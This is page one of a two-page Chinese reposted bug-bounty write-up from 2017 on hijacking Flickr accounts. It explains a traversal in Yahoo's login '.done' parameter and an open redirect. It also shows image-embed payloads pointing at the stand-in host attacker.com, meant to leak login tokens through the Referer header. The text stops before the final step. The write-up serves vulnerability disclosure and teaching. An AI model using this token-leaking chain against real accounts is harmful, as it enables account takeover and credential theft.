欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我如何综合利用3个安全问题成功劫持Flickr账户获得7千美元漏洞赏金

来源:本站整理 作者:佚名 时间:2017-05-11 TAG: 我要投稿


Flickr( flickr.com)为雅虎Yahoo旗下图片和视频分享平台,提供免费及付费数位照片视频储存、分享和线上社交应用服务。本文中作者通过身份认证参数控制、外部链接重定向和图片处理绕过3个安全问题的综合利用,最终成功实现劫持Flickr的目标账户权限。我们一起来看看:
在Flickr的用户登录验证过程中,将会向login.yahoo.com发起一个获取用户访问令牌(access token)的请求。
Flickr.com的登录认证机制
当用户点击Flickr.com的登录按钮之后,将会转向到以下Url链接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
该链接也是雅虎用户的登录认证页面,当完成登录表单填写和点击登录之后,用户将首先转向一个雅虎身份验证终端服务,如果验证信息有效,用户将转向以下Flickr Url页面:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value}
与此同时,Flickr在后台开始对雅虎验证服务和用户登录产生的.ys和.data参数进行认证。
窃取Flickr.com用户登录令牌信息
思路分析
也就是说,如果用户已经处于雅虎服务端登录状态,那么点击以下初始链接之后:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
数据流量只是发生在后台,而不需要往雅虎端输入身份验证信息,而这也就带来了账户被劫持的风险。因为事实上用户只需点击类似OAuth实现的单个链接实现身份认证。想通了这些之后,我尝试着想办法绕过该认证机制。
首先,我想到的是该链接中的第二个.done参数:
.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
可以被控制,该参数实际负责的是登录令牌信息的发送。在此过程中,雅虎服务器只会对https://www.flickr.com/signin/yahoo/发起的登录请求进行验证,但我们可以向该链接中添加../符号进行测试,当向其中添加../../test请求.done值时,其.ys和.data参数令牌将被发送到https://www.flickr.com/test服务端。
所以,在此一种想法就油然而生,如果我们能从https://www.flickr.com/网站找到一个开放重定向(Open redirect)的突破口, 就能把认证令牌信息间接发送到我们自己架构的服务器端来。
漏洞挖掘
经过一番研究之后,我发现了该页面:
https://www.flickr.com/html.gne?tighten=0&type=comment
它可以在不同Flickr页面的评论区中实现图片嵌入。我想如果通过这里向评论区中上传一个外部链接图片,其令牌信息就可以通过已经登录的引用字段(referrer field)泄露到我自己架构的服务器端来。为此,我用以下内容作为上传图片进行评论测试:
img src=”https://attacker.com/someimage.jpg” />
该图片的确被嵌入到Flickr评论区,但是,雅虎却把其src值转义解析为以下链接:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA–~C
这种转义应该是雅虎的一种内部请求代理在发生作用,它可以阻止向外部服务器泄露Flickr的请求信息。但是,如果使用一些浏览器攻击的奇技淫巧,是不是就能操控其Flickr的图片处理逻辑呢?比如,发送形如以下的图片评论内容:
img src=”\/\/www.attacker.com/someimage.jpg” />
但遗憾的是,其内部请求代理不会转义处理该链接,其src值还是保持原样,并且Flickr评论区也不会把其显示为图片。经过研究,发现这是因为Flickr使用了网页内容安全防护策略(CSP,Content Security Policy),限定了来自以下域名的链接才是有效链接:
Content-Security-Policy:  img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flickr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com https://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresearch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pinterest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net https://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.com https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;
其img-src配置中的设定了白名单域名,因此,最终上传显示外部链接图片的目的失败了。
在了解了这些之后,我尝试着寻找其它允许评论的终端页面,发现Flickr其中一个论坛页面:
https://www.flickr.com/help/forum/en-us/
不但允许评论,貌似还没有配置CSP策略。因此,我在该论坛的某个话题之下加入了以下图片样式的评论内容:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载